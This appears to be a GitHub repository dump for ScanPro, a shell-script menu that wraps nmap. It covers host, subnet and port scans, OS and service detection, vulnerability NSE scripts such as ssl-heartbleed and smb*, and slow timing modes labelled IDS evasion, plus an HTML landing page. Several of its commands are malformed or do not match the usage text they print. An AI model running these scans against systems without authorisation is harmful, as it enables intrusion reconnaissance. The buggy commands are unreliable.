82 | ![Alt](https://repobeats.axiom.co/api/embed/978715c765b9c41fc45c1366dc11acef10ce78c5.svg "Repobeats analytics image")
83 | 
84 | ---
85 | 
86 | <h2 align="center">
87 |   
88 |   **[`^        Back to TOP        ^`](#)**
89 |   
90 | </h2>
91 | 


--------------------------------------------------------------------------------
/ScanPro:
--------------------------------------------------------------------------------
  1 | #!/bin/sh
  2 | # Name : ScanPro
  3 | # Date : May 2022
  4 | # Description : ScanPro is a ScanPro Scan scripts for hacker's.
  5 | # Set up symbols
  6 | # |
  7 | clear
  8 | # |
  9 | dirty_synced="*"
 10 | unpushed="△"
 11 | dirty_unpushed="▲"
 12 | unpulled="▽"
 13 | dirty_unpulled="▼"
 14 | unpushed_unpulled="⬡"
 15 | dirty_unpushed_unpulled="⬢"
 16 | # |
 17 | nc="\033[00m"
 18 | white="\033[1;37m"
 19 | grey="\033[0;37m"
 20 | purple="\033[0;35m"
 21 | red="\033[1;31m"
 22 | green="\033[32m"
 23 | yellow="\033[33m"
 24 | purple="\033[0;35m"
 25 | cyan="\033[1;36m"
 26 | cafe="\033[1;33m"
 27 | fiuscha="\033[0;35m"
 28 | blue="\033[34m"
 29 | orange="\033[38;5;122m"
 30 | # |
 31 | RED="$(printf '\033[31m')"
 32 | GREEN="$(printf '\033[32m')"
 33 | ORANGE="$(printf '\033[33m')"
 34 | BLUE="$(printf '\033[34m')"
 35 | MAGENTA="$(printf '\033[35m')"
 36 | CYAN="$(printf '\033[36m')"
 37 | WHITE="$(printf '\033[37m')"
 38 | BLACK="$(printf '\033[30m')"
 39 | REDBG="$(printf '\033[41m')"
 40 | GREENBG="$(printf '\033[42m')"
 41 | ORANGEBG="$(printf '\033[43m')"
 42 | BLUEBG="$(printf '\033[44m')"
 43 | MAGENTABG="$(printf '\033[45m')"
 44 | CYANBG="$(printf '\033[46m')"
 45 | WHITEBG="$(printf '\033[47m')"
 46 | BLACKBG="$(printf '\033[40m')"
 47 | RESETBG="$(printf '\e[0m')"
 48 | BLINK="$(printf '\033[5;31m')"
 49 | # |
 50 | Version="v1.8"
 51 | UpDate="07-07-2023"
 52 | portsr="0"
 53 | close=$(echo "${yellow}\n\t\tPress ${cyan}Enter ${yellow}to go Back \n")
 54 | hostip=$(echo "      [${green}?${orange}]   Enter IP Target/Host: ${green}")
 55 | ipList=$(echo "      [${green}?${orange}]   Your is IP List File: ${green}")
 56 | hostport=$(echo "      [${green}?${orange}]   Enter Port Target:  ${green}")
 57 | portrange=$(echo "       [${green}?${orange}]   Enter Port Range 1-65535: ${green}")
 58 | lastprompt=$(echo "      [${green}?${orange}]  ${orange}  └──╼${orange}")
 59 | log_report=$(echo "      [${green}?${orange}]   Enter Location for OutPut Log:  ${green}")
 60 | 
 61 | # |
 62 | scanPro_Banner() {
 63 |   echo " "
 64 |   echo ${green}"    █████████                                ███████████                    "
 65 |   echo "   ███░░░░░███                              ░░███░░░░░███                   "
 66 |   echo "  ░███    ░░░   ██████   ██████   ████████   ░███    ░███ ████████   ██████ "
 67 |   echo "  ░░█████████  ███░░███ ░░░░░███ ░░███░░███  ░██████████ ░░███░░███ ███░░███"
 68 |   echo "   ░░░░░░░░███░███ ░░░   ███████  ░███ ░███  ░███░░░░░░   ░███ ░░░ ░███ ░███"
 69 |   echo "   ███    ░███░███  ███ ███░░███  ░███ ░███  ░███         ░███     ░███ ░███"
 70 |   echo "  ░░█████████ ░░██████ ░░████████ ████ █████ █████        █████    ░░██████ "
 71 |   echo "   ░░░░░░░░░   ░░░░░░   ░░░░░░░░ ░░░░ ░░░░░ ░░░░░        ░░░░░      ░░░░░░  \n"
 72 | }
 73 | scanPro_Banner
 74 | # |
 75 | scanPro_About() {
 76 |   echo $green"        =========================================================    "
 77 |   echo $cyan"          Script by              $white":" $orange Leon Yaakobov ( AnLoMinus ) "
 78 |   echo $cyan"          Version                $white":" $orange $Version  "
 79 |   echo $cyan"          Last Update            $white":" $orange $UpDate  "
 80 |   echo $cyan"          Follow me on Github    $white":" $orange github.com/AnLoMinus "
 81 |   echo $green"        =========================================================    "
 82 | }
 83 | scanPro_About
 84 | # |
 85 | PromptFun() {
 86 |   echo ""
 87 |   echo "${orange}        ┌──[${CYAN}Anlominus${purple}👽${red}Scan${BLUE}Pro$~${orange}]${cyan}"
 88 | }
 89 | prompt="$(PromptFun)"
 90 | ReadSomthing() {
 91 |   echo "
 92 | $cWall    ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓$cWall
 93 | $cWall    ▓  ╔═══════════════════════════════════════╗  ▓$cWall
 94 | $cWall    ▓  ╠═>   Press ENTER for back to Menu   <==║  ▓$cWall
 95 | $cWall    ▓  ╚═══════════════════════════════════════╝  ▓$cWall
 96 | $cWall    ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓$cWall"
 97 |   echo -n ""
 98 |   read read_somthing
 99 | }
100 | # Basic Information
101 | choose_Target() {
102 |   ip_List() {
103 |     echo "      ${red}  |"
104 |     echo "      ${cyan}  |---------------------------------"
105 |     read -p "${ipList} " iplist
106 |     echo "      ${cyan}  |---------------------------------"
107 |     echo "      ${red}  |"
108 |   }
109 |   port_Range() {
110 |     echo "      ${red}  |"
111 |     echo "      ${cyan}  |---------------------------------"
112 |     read -p " ${portrange}" portrange
113 |     echo "      ${cyan}  |---------------------------------"
114 |     echo "      ${red}  |"
115 |   }
116 |   What_IP() {
117 |     echo "      ${red}  |"
118 |     echo "      ${cyan}  |---------------------------------"
119 |     read -p " ${hostip}" host
120 |     echo "      ${cyan}  |---------------------------------"
121 |     echo "      ${red}  |"
122 |   }
123 |   What_PORT() {
124 |     echo "      ${red}  |"
125 |     echo "      ${cyan}  |---------------------------------"
126 |     read -p " ${hostport}" port
127 |     echo "      ${cyan}  |---------------------------------"
128 |     echo "      ${red}  |"
129 |   }
130 |   what_LogPath() {
131 |     echo "      ${red}  |"
132 |     echo "      ${cyan}  |---------------------------------"
133 |     read -p " ${log_report}" namefile
134 |     echo "      ${cyan}  |---------------------------------"
135 |     echo "      ${red}  |"
136 |   }
137 |   What_IP
138 |   What_PORT
139 |   what_LogPath
140 |   sleep 0.94
141 | 
142 | }
143 | choose_Target
144 | your_choice() {
145 |   if [ -n ${namefile} ]; then
146 |     log_Path="ScanProLog/ScanProX.log"
147 |   fi
148 |   echo "${cyan}          |"
149 |   echo "${cyan}          |${green} [#] ${cyan}Target Information"
150 |   echo "${cyan}          |-----------------------------"
151 |   echo "${cyan}          |${green} [!] ${cafe}IP/Host Target:${orange} ${host}"
152 |   echo "${cyan}          |${green} [!] ${cafe}Port Target:${orange} $port"
153 |   echo "${cyan}          |${green} [!] ${cafe}Log OutPut Location:${orange} $log_Path"
154 |   echo "${cyan}          |-----------------------------------------------"
155 |   echo "${cyan}          |${green} [!] ${cyan}Check if you provide right information"
156 |   echo "${cyan}          |"
157 |   echo $green"        =========================================================    "
158 | }
159 | prcscn() {
160 |   clear
161 |   echo "${yellow}\n[!] Scanning: ${cyan}${IP_TARGET}${yellow} [ Please Wait ]\n"
162 |   echo " "
163 | }
164 | # Menu Contents
165 | Menu() {
166 |   while true; do
167 |     #statements
168 |     clear
169 |     echo " "
170 |     echo " "
171 |     scanPro_Banner
172 |     scanPro_About
173 |     your_choice
174 |     #statements
175 |     echo ""
176 |     echo "          [#] ScanPro Menu ${cyan}"
177 |     echo "              [1] Target Selection"
178 |     echo "              [2] Port Selection"
179 |     echo "              [3] Scan Types"
180 |     echo "              [4] Service and Operating System Detection"
181 |     echo "              [5] Output formats"
182 |     echo "              [6] NSE Scripting"
183 |     echo "              [7] HTTP info gathering"
184 |     echo "              [8] Timing and Performance"
185 |     echo "         "
186 |     echo "              [m] Main Menu"
187 |     echo "              [x] Exit"
188 |     echo " "
189 |     echo "      ${prompt}"
190 |     read -p "        └──╼ Enter selection [0-7] > " cmd
191 |     echo " "
192 |     case ${cmd} in
193 |     1)
194 |       nts
195 |       ReadSomthing
196 |       ;;
197 |     2)
198 |       nps
199 |       ReadSomthing
200 |       ;;
201 |     3)
202 |       npst
203 |       ReadSomthing
204 |       ;;
205 |     4)
206 |       saod
207 |       ReadSomthing
208 |       ;;
209 |     5)
210 |       nof
211 |       ReadSomthing
212 |       ;;
213 |     6)
214 |       ddwns
215 |       ReadSomthing
216 |       ;;
217 |     7)
218 |       hsi
219 |       ReadSomthing
220 |       ;;
221 |     8)
222 |       timing
223 |       ReadSomthing
224 |       ;;
225 |     m)
226 |       Menu
227 |       ;;
228 |     x)
229 |       clear
230 |       break
231 |       ;;
232 |     *)
233 |       echo "Invalid entry."
234 |       sleep 0.3
235 |       ;;
236 |     esac
237 |   done
238 | }
239 | #1 Nmap Target Selection
240 | nts() {
241 |   while true; do
242 |     #statements
243 |     clear
244 |     your_choice
245 |     #statements
246 |     echo ""
247 |     echo "${cafe} [1] Nmap Target Selection ${cyan}"
248 |     echo ""
249 |     echo "     [1] Scan a single IP	nmap 192.168.1.1"
250 |     echo "     [2] Scan a host	nmap www.testhostname.com"
251 |     echo "     [3] Scan a range of IPs	nmap 192.168.1.1-20"
252 |     echo "     [4] Scan a subnet	nmap 192.168.1.0/24"
253 |     echo "     [5] Scan targets from a text file	nmap -iL list-of-ips.txt"
254 |     echo " "
255 |     echo "      [m] Main Menu"
256 |     echo "      [x] Exit"
257 |     echo " "
258 |     echo "      ${prompt}"
259 |     read -p "        └──╼ Enter selection [0-4] > " cmd
260 |     case ${cmd} in
261 |     1)
262 |       #statements
263 |       echo "     [1] Scan a single IP	nmap 192.168.1.1"
264 |       nmap ${host}
265 | 
266 |       ReadSomthing
267 |       ;;
268 |     2)
269 |       #statements
270 |       echo "     [2] Scan a host	nmap www.testhostname.com"
271 |       nmap ${host}
272 | 
273 |       ReadSomthing
274 |       ;;
275 |     3)
276 |       echo "     [3] Scan a range of IPs	nmap 192.168.1.1-20"
277 |       nmap ${host}-20
278 | 
279 |       ReadSomthing
280 |       ;;
281 |     4)
282 |       echo "     [4] Scan a subnet	nmap 192.168.1.0/24"
283 |       nmap ${host}/24
284 | 
285 |       ReadSomthing
286 |       ;;
287 |     5)
288 |       echo "     [5] Scan targets from a text file	nmap -iL list-of-ips.txt"
289 |       ip_List
290 |       nmap -iL ${iplist}
291 | 
292 |       ReadSomthing
293 |       ;;
294 |     m)
295 |       Menu
296 |       ;;
297 |     x)
298 |       clear
299 |       exit
300 |       ;;
301 |     *)
302 |       echo "Invalid entry."
303 |       sleep 0.3
304 |       ;;
305 |     esac
306 |   done
307 | }
308 | #2 Nmap Port Selection
309 | nps() {
310 |   while true; do
311 |     #statements
312 |     clear
313 |     your_choice
314 |     #statements
315 |     echo ""
316 |     echo "${cafe} [2] Nmap Port Selection ${cyan}"
317 |     echo "     [1] Scan a single Port	nmap -p 22 192.168.1.1"
318 |     echo "     [2] Scan a range of ports	nmap -p 1-100 192.168.1.1"
319 |     echo "     [3] Scan a range of ports	nmap -p 1-500 192.168.1.1"
320 |     echo "     [4] Scan 100 most common ports (Fast)	nmap -F 192.168.1.1"
321 |     echo "     [5] Scan all 65535 ports	nmap -p- 192.168.1.1"
322 |     echo " "
323 |     echo "      [m] Main Menu"
324 |     echo "      [x] Exit"
325 |     echo " "
326 |     echo "      ${prompt}"
327 |     read -p " └──╼ Enter selection [0-7] > " cmd
328 |     case ${cmd} in
329 |     1)
330 |       #statements
331 |       echo "     [1] Scan a single Port	nmap -p 22 192.168.1.1"
332 |       nmap -p ${portsr} ${host}
333 | 
334 |       ReadSomthing
335 |       ;;
336 |     2)
337 |       #statements
338 |       echo "     [2] Scan a range of ports	nmap -p 1-100 192.168.1.1"
339 |       nmap -Pn ${host} -p $portsr-100
340 | 
341 |       ReadSomthing
342 |       ;;
343 |     3)
344 |       #statements
345 |       echo "     [3] Scan a range of ports	nmap -p 1-500 192.168.1.1"
346 |       nmap -p ${portsr}-255 ${host}
347 | 
348 |       ReadSomthing
349 |       ;;
350 |     4)
351 |       #statements
352 |       echo "     [4] Scan 100 most common ports (Fast)	nmap -F 192.168.1.1"
353 |       nmap -F ${host}
354 | 
355 |       ReadSomthing
356 |       ;;
357 |     5)
358 |       #statements
359 |       echo "     [5] Scan all 65535 ports	nmap -p- 192.168.1.1"
360 |       nmap -p- ${host}
361 | 
362 |       ReadSomthing
363 |       ;;
364 |     m)
365 |       Menu
366 |       ;;
367 |     x)
368 |       clear
369 |       exit
370 |       ;;
371 |     *)
372 |       echo "Invalid entry."
373 |       sleep 0.3
374 |       ;;
375 |     esac
376 |   done
377 |   echo ""
378 |   echo ""
379 | }
380 | #3 Nmap Port Scan types
381 | npst() {
382 |   while true; do
383 |     #statements
384 |     clear
385 |     your_choice
386 |     #statements
387 |     echo ""
388 |     echo "${cafe} [3] Nmap Port Scan types ${cyan}"
389 |     echo "     [1] Scan using TCP connect	nmap -sT 192.168.1.1"
390 |     echo "     [2] Scan using TCP SYN scan (default)	nmap -sS 192.168.1.1"
391 |     echo "     [3] Scan UDP ports	nmap -sU -p 123,161,162 192.168.1.1"
392 |     echo "     [4] Scan selected ports - ignore discovery	nmap -Pn -F 192.168.1.1"
393 |     echo " "
394 |     echo "      [m] Main Menu"
395 |     echo "      [x] Exit"
396 |     echo " "
397 |     echo "      ${prompt}"
398 |     read -p "        └──╼ Enter selection [0-4] > " cmd
399 |     case ${cmd} in
400 |     1)
401 |       #statements
402 |       echo "     [1] Scan using TCP connect	nmap -sT 192.168.1.1"
403 |       nmap -sT ${host}
404 | 
405 |       ReadSomthing
406 |       ;;
407 |     2)
408 |       #statements
409 |       echo "     [2] Scan using TCP SYN scan (default)	nmap -sS 192.168.1.1"
410 |       nmap -sS ${portrange} ${host}
411 | 
412 |       ReadSomthing
413 |       ;;
414 |     3)
415 |       echo "     [3] Scan UDP ports	nmap -sU -p 123,161,162 192.168.1.1"
416 |       nmap -sU -p ${host}
417 | 
418 |       ReadSomthing
419 |       ;;
420 |     4)
421 |       echo "     [4] Scan selected ports - ignore discovery	nmap -Pn -F 192.168.1.1"
422 |       nmap -Pn -F ${host}
423 | 
424 |       ReadSomthing
425 |       ;;
426 |     m)
427 |       Menu
428 |       ;;
429 |     x)
430 |       clear
431 |       exit
432 |       ;;
433 |     *)
434 |       echo "Invalid entry."
435 |       sleep 0.3
436 |       ;;
437 |     esac
438 |   done
439 | }
440 | #4 Service and OS Detection
441 | saod() {
442 |   while true; do
443 |     #statements
444 |     clear
445 |     your_choice
446 |     #statements
447 |     echo ""
448 |     echo "${cafe} [4] Service and OS Detection ${cyan}"
449 |     echo "     [1] Detect OS and Services	nmap -A 192.168.1.1"
450 |     echo "     [2] Standard service detection	nmap -sV 192.168.1.1"
451 |     echo "     [3] More aggressive Service Detection	nmap -sV --version-intensity 5 192.168.1.1"
452 |     echo "     [4] Lighter banner grabbing detection	nmap -sV --version-intensity 0 192.168.1.1"
453 |     echo "     [5] Detect OS nmap -O 192.168.1.1"
454 |     echo " "
455 |     echo "      [m] Main Menu"
456 |     echo "      [x] Exit"
457 |     echo " "
458 |     echo "      ${prompt}"
459 |     read -p "        └──╼ Enter selection [0-4] > " cmd
460 |     case ${cmd} in
461 |     1)
462 |       #statements
463 |       echo "     [1] Detect OS and Services	nmap -A 192.168.1.1"
464 |       nmap -A ${host}
465 | 
466 |       ReadSomthing
467 |       ;;
468 |     2)
469 |       #statements
470 |       echo "     [2] Standard service detection	nmap -sV 192.168.1.1"
471 |       nmap -sV ${portrange} ${host}
472 | 
473 |       ReadSomthing
474 |       ;;
475 |     3)
476 |       echo "     [3] More aggressive Service Detection	nmap -sV --version-intensity 5 192.168.1.1"
477 |       nmap -sV --version 5 ${host}
478 | 
479 |       ReadSomthing
480 |       ;;
481 |     4)
482 |       echo "     [4] Lighter banner grabbing detection	nmap -sV --version-intensity 0 192.168.1.1"
483 |       nmap -sV --version 1 ${host}
484 | 
485 |       ReadSomthing
486 |       ;;
487 |     5)
488 |       echo "     [5] Detect OS nmap -O 192.168.1.1"
489 |       nmap -O ${host}
490 | 
491 |       ReadSomthing
492 |       ;;
493 |     m)
494 |       Menu
495 |       ;;
496 |     x)
497 |       clear
498 |       exit
499 |       ;;
500 |     *)
501 |       echo "Invalid entry."
502 |       sleep 0.3
503 |       ;;
504 |     esac
505 |   done
506 |   echo ""
507 | }
508 | #5 Nmap Output Formats
509 | nof() {
510 |   echo ""
511 |   echo "${cafe} [5] Nmap Output Formats ${cyan}"
512 |   echo "     [1] Save default output to file	nmap -oN outputfile.txt 192.168.1.1"
513 |   echo "     [2] Save results as XML	nmap -oX outputfile.xml 192.168.1.1"
514 |   echo "     [3] Save results in a format for grep	nmap -oG outputfile.txt 192.168.1.1"
515 |   echo "     [4] Save in all formats	nmap -oA outputfile 192.168.1.1"
516 |   echo ""
517 | }
518 | #6 Digging deeper with NSE Scripts
519 | ddwns() {
520 |   while true; do
521 |     #statements
522 |     clear
523 |     your_choice
524 |     #statements
525 |     echo ""
526 |     echo "${cafe} [6] Digging deeper with NSE Scripts ${cyan}"
527 |     echo "     [1] Scan using default safe scripts	nmap -sV -sC 192.168.1.1"
528 |     echo "     [2] Get help for a script	nmap --script-help=ssl-heartbleed"
529 |     echo "     [3] Scan using a specific NSE script	nmap -sV -p 443 –script=ssl-heartbleed.nse 192.168.1.1"
530 |     echo "     [4] Scan with a set of scripts	nmap -sV --script=smb* 192.168.1.1"
531 |     echo "     [5] Vulnerability Script	nmap -sV --script=vuln 192.168.1.1"
532 |     echo " "
533 |     echo "      [m] Main Menu"
534 |     echo "      [x] Exit"
535 |     echo " "
536 |     echo "      ${prompt}"
537 |     read -p "        └──╼ Enter selection [0-4] > " cmd
538 |     case ${cmd} in
539 |     1)
540 |       #statements
541 |       echo "     [1] Scan using default safe scripts	nmap -sV -sC 192.168.1.1"
542 |       nmap -sV -sC ${host}
543 | 
544 |       ReadSomthing
545 |       ;;
546 |     2)
547 |       #statements
548 |       echo "     [2] Get help for a script	nmap --script-help=ssl-heartbleed"
549 |       nmap --script-help=ssl-heartbleed
550 | 
551 |       ReadSomthing
552 |       ;;
553 |     3)
554 |       #statements
555 |       echo "     [3] Scan using a specific NSE script	nmap -sV -p 443 –script=ssl-heartbleed.nse 192.168.1.1"
556 |       nmap -sV -p 443 --script=ssl-heartbleed.nse ${host}
557 | 
558 |       ReadSomthing
559 |       ;;
560 |     4)
561 |       #statements
562 |       echo "     [4] Scan with a set of scripts	nmap -sV --script=smb* 192.168.1.1"
563 |       nmap -sV --script=smb* ${host}
564 | 
565 |       ReadSomthing
566 |       ;;
567 |     5)
568 |       #statements
569 |       echo "     [5] Vulnerability Script	nmap -sV --script=vuln 192.168.1.1"
570 |       nmap -A -sC --script=vuln ${host}
571 | 
572 |       ReadSomthing
573 |       ;;
574 |     m)
575 |       Menu
576 |       ;;
577 |     x)
578 |       clear
579 |       exit
580 |       ;;
581 |     *)
582 |       echo "Invalid entry."
583 |       sleep 0.3
584 |       ;;
585 |     esac
586 |   done
587 |   echo ""
588 | }
589 | #7 HTTP Service Information
590 | hsi() {
591 |   while true; do
592 |     #statements
593 |     clear
594 |     your_choice
595 |     #statements
596 |     echo ""
597 |     echo "${cafe} [#] HTTP Service Information ${cyan}"
598 |     echo "     [1] Gather page titles from HTTP services	nmap --script=http-title 192.168.1.0/24"
599 |     echo "     [2] Get HTTP headers of web services	nmap --script=http-headers 192.168.1.0/24"
600 |     echo "     [3] Find web apps from known paths	nmap --script=http-enum 192.168.1.0/24"
601 |     echo " "
602 |     echo "      [m] Main Menu"
603 |     echo "      [x] Exit"
604 |     echo " "
605 |     echo "      ${prompt}"
606 |     read -p "        └──╼ Enter selection [0-4] > " cmd
607 |     case ${cmd} in
608 |     1)
609 |       #statements
610 |       echo "     [1] Gather page titles from HTTP services	nmap --script=http-title 192.168.1.0/24"
611 |       nmap --script=http-title ${host}/24
612 | 
613 |       ReadSomthing
614 |       ;;
615 |     2)
616 |       #statements
617 |       echo "     [2] Get HTTP headers of web services	nmap --script=http-headers 192.168.1.0/24"
618 |       nmap --script=http-header ${host}/24
619 | 
620 |       ReadSomthing
621 |       ;;
622 |     3)
623 |       #statements
624 |       echo "     [3] Find web apps from known paths	nmap --script=http-enum 192.168.1.0/24"
625 |       nmap --script=http-enum ${host}/24
626 | 
627 |       ReadSomthing
628 |       ;;
629 |     x)
630 |       clear
631 |       exit
632 |       ;;
633 |     *)
634 |       echo "Invalid entry."
635 |       sleep 0.3
636 |       ;;
637 |     esac
638 |   done
639 |   echo ""
640 | }
641 | #8 HTTP Service Information
642 | timing() {
643 |   while true; do
644 |     #statements
645 |     clear
646 |     your_choice
647 |     #statements
648 |     echo ""
649 |     echo "${cafe} [8] Timing and Performance ${cyan}"
650 |     echo ""
651 |     echo "     [0] Paranoid (0) Intrusion Detection System evasion"
652 |     echo "     [1] Sneaky (1) Intrusion Detection System evasion"
653 |     echo "     [2] Polite (2) slows down the scan to use less bandwidth and use less target machine resources"
654 |     echo "     [3] Normal (3) which is default speed"
655 |     echo "     [4] Aggressive (4) speeds scans; assumes you are on a reasonably fast and reliable network"
656 |     echo "     [5] Insane (5) speeds scan; assumes you are on an extraordinarily fast network"
657 |     echo " "
658 |     echo "      [m] Main Menu"
659 |     echo "      [x] Exit"
660 |     echo " "
661 |     echo "      ${prompt}"
662 |     read -p "        └──╼ Enter selection [0-4] > " cmd
663 |     case ${cmd} in
664 |     0)
665 |       #statements
666 |       echo "     [0] Paranoid (0) Intrusion Detection System evasion"
667 |       nmap ${iplist} -T0
668 | 
669 |       ReadSomthing
670 |       ;;
671 |     1)
672 |       #statements
673 |       echo "     [1] Sneaky (1) Intrusion Detection System evasion"
674 |       nmap ${iplist} -T1
675 | 
676 |       ReadSomthing
677 |       ;;
678 |     2)
679 |       echo "     [2] Polite (2) slows down the scan to use less bandwidth and use less target machine resources"
680 |       nmap ${iplist} -T2
681 | 
682 |       ReadSomthing
683 |       ;;
684 |     3)
685 |       echo "     [3] Normal (3) which is default speed"
686 |       nmap ${iplist} -T3
687 | 
688 |       ReadSomthing
689 |       ;;
690 |     4)
691 |       echo "     [4] Aggressive (4) speeds scans; assumes you are on a reasonably fast and reliable network"
692 |       ip_List
693 |       nmap ${iplist} -T4
694 | 
695 |       ReadSomthing
696 |       ;;
697 |     5)
698 |       echo "     [5] Insane (5) speeds scan; assumes you are on an extraordinarily fast network"
699 |       ip_List
700 |       nmap ${iplist} -T5
701 | 
702 |       ReadSomthing
703 |       ;;
704 |     m)
705 |       Menu
706 |       ;;
707 |     x)
708 |       clear
709 |       exit
710 |       ;;
711 |     *)
712 |       echo "Invalid entry."
713 |       sleep 0.3
714 |       ;;
715 |     esac
716 |   done
717 |   # Timing and Performance
718 | 
719 | }
720 | 
721 | Menu
722 | 


--------------------------------------------------------------------------------
/index.html:
--------------------------------------------------------------------------------
  1 | <!DOCTYPE html>
  2 | <html lang="en">
  3 | 
  4 | <head>
  5 |     <meta charset="UTF-8">
  6 |     <meta name="viewport" content="width=device-width, initial-scale=1.0">
  7 |     <title>ScanPro - Landing Page</title>
  8 |     <style>
  9 |         body {
 10 |             font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
 11 |             margin: 0;
 12 |             padding: 0;
 13 |             background-color: #f4f4f9;
 14 |             color: #333;
 15 |         }
 16 | 
 17 |         header {
 18 |             background-color: #4CAF50;
 19 |             color: white;
 20 |             padding: 20px 0;
 21 |             text-align: center;
 22 |             box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
 23 |         }
 24 | 
 25 |         .container {
 26 |             width: 80%;
 27 |             margin: 0 auto;
 28 |             overflow: hidden;
 29 |         }
 30 | 
 31 |         #main {
 32 |             padding: 30px;
 33 |             background: white;
 34 |             margin-top: 20px;
 35 |             box-shadow: 0 0 15px rgba(0, 0, 0, 0.1);
 36 |             border-radius: 8px;
 37 |         }
 38 | 
 39 |         h1,
 40 |         h2 {
 41 |             color: #333;
 42 |         }
 43 | 
 44 |         p {
 45 |             line-height: 1.8;
 46 |             font-size: 1.1em;
 47 |         }
 48 | 
 49 |         footer {
 50 |             background-color: #333;
 51 |             color: white;
 52 |             text-align: center;
 53 |             padding: 15px 0;
 54 |             position: fixed;
 55 |             bottom: 0;
 56 |             width: 100%;
 57 |         }
 58 | 
 59 |         .button {
 60 |             display: inline-block;
 61 |             padding: 12px 25px;
 62 |             margin-top: 15px;
 63 |             background-color: #4CAF50;
 64 |             color: white;
 65 |             text-decoration: none;
 66 |             border-radius: 5px;
 67 |             transition: background-color 0.3s;
 68 |         }
 69 | 
 70 |         .button:hover {
 71 |             background-color: #45a049;
 72 |         }
 73 | 
 74 |         ul {
 75 |             list-style-type: none;
 76 |             padding: 0;
 77 |         }
 78 | 
 79 |         li {
 80 |             margin: 10px 0;
 81 |             font-size: 1.1em;
 82 |         }
 83 | 
 84 |         li::before {
 85 |             content: "🔍";
 86 |             margin-right: 10px;
 87 |         }
 88 |     </style>
 89 | </head>
 90 | 
 91 | <body>
 92 |     <header>
 93 |         <div class="container">
 94 |             <h1>Welcome to ScanPro 🚀</h1>
 95 |         </div>
 96 |     </header>
 97 | 
 98 |     <div class="container">
 99 |         <div id="main">
100 |             <h2>Overview 📜</h2>
101 |             <p>ScanPro is a comprehensive network scanning tool designed for security professionals and enthusiasts. It
102 |                 offers a wide range of scanning options to help identify vulnerabilities and gather detailed information
103 |                 about network hosts. Whether you are conducting a security audit or simply exploring network
104 |                 configurations, ScanPro provides the tools you need to perform thorough and efficient scans.</p>
105 | 
106 |             <h2>Features 🌟</h2>
107 |             <ul>
108 |                 <li><strong>Target Selection:</strong> Choose specific IPs, hostnames, or ranges for scanning.</li>
109 |                 <li><strong>Port Selection:</strong> Scan individual ports or ranges to identify open services.</li>
110 |                 <li><strong>Scan Types:</strong> Utilize different scanning techniques such as TCP connect and SYN
111 |                     scans.</li>
112 |                 <li><strong>Service and OS Detection:</strong> Identify running services and operating systems on target
113 |                     hosts.</li>
114 |                 <li><strong>Output Formats:</strong> Save scan results in various formats for further analysis.</li>
115 |                 <li><strong>NSE Scripting:</strong> Leverage Nmap Scripting Engine for advanced scanning capabilities.
116 |                 </li>
117 |                 <li><strong>HTTP Info Gathering:</strong> Collect detailed information from HTTP services.</li>
118 |                 <li><strong>Timing and Performance:</strong> Adjust scan speed and performance settings to suit your
119 |                     network environment.</li>
120 |             </ul>
121 | 
122 |             <h2>Usage 🛠️</h2>
123 |             <p>To get started with ScanPro, simply download the script from our GitHub repository and run it on your
124 |                 preferred terminal. Follow the on-screen prompts to configure your scan settings and view the results.
125 |                 For detailed instructions and examples, visit our GitHub page.</p>
126 | 
127 |             <a href="https://github.com/AnLoMinus/ScanPro/" class="button">Visit GitHub 🌐</a>
128 |         </div>
129 |     </div>
130 | 
131 |     <footer>
132 |         <p>&copy; 2023 ScanPro. All rights reserved. 🌐</p>
133 |     </footer>
134 | </body>
135 | 
136 | </html>
137 | 


--------------------------------------------------------------------------------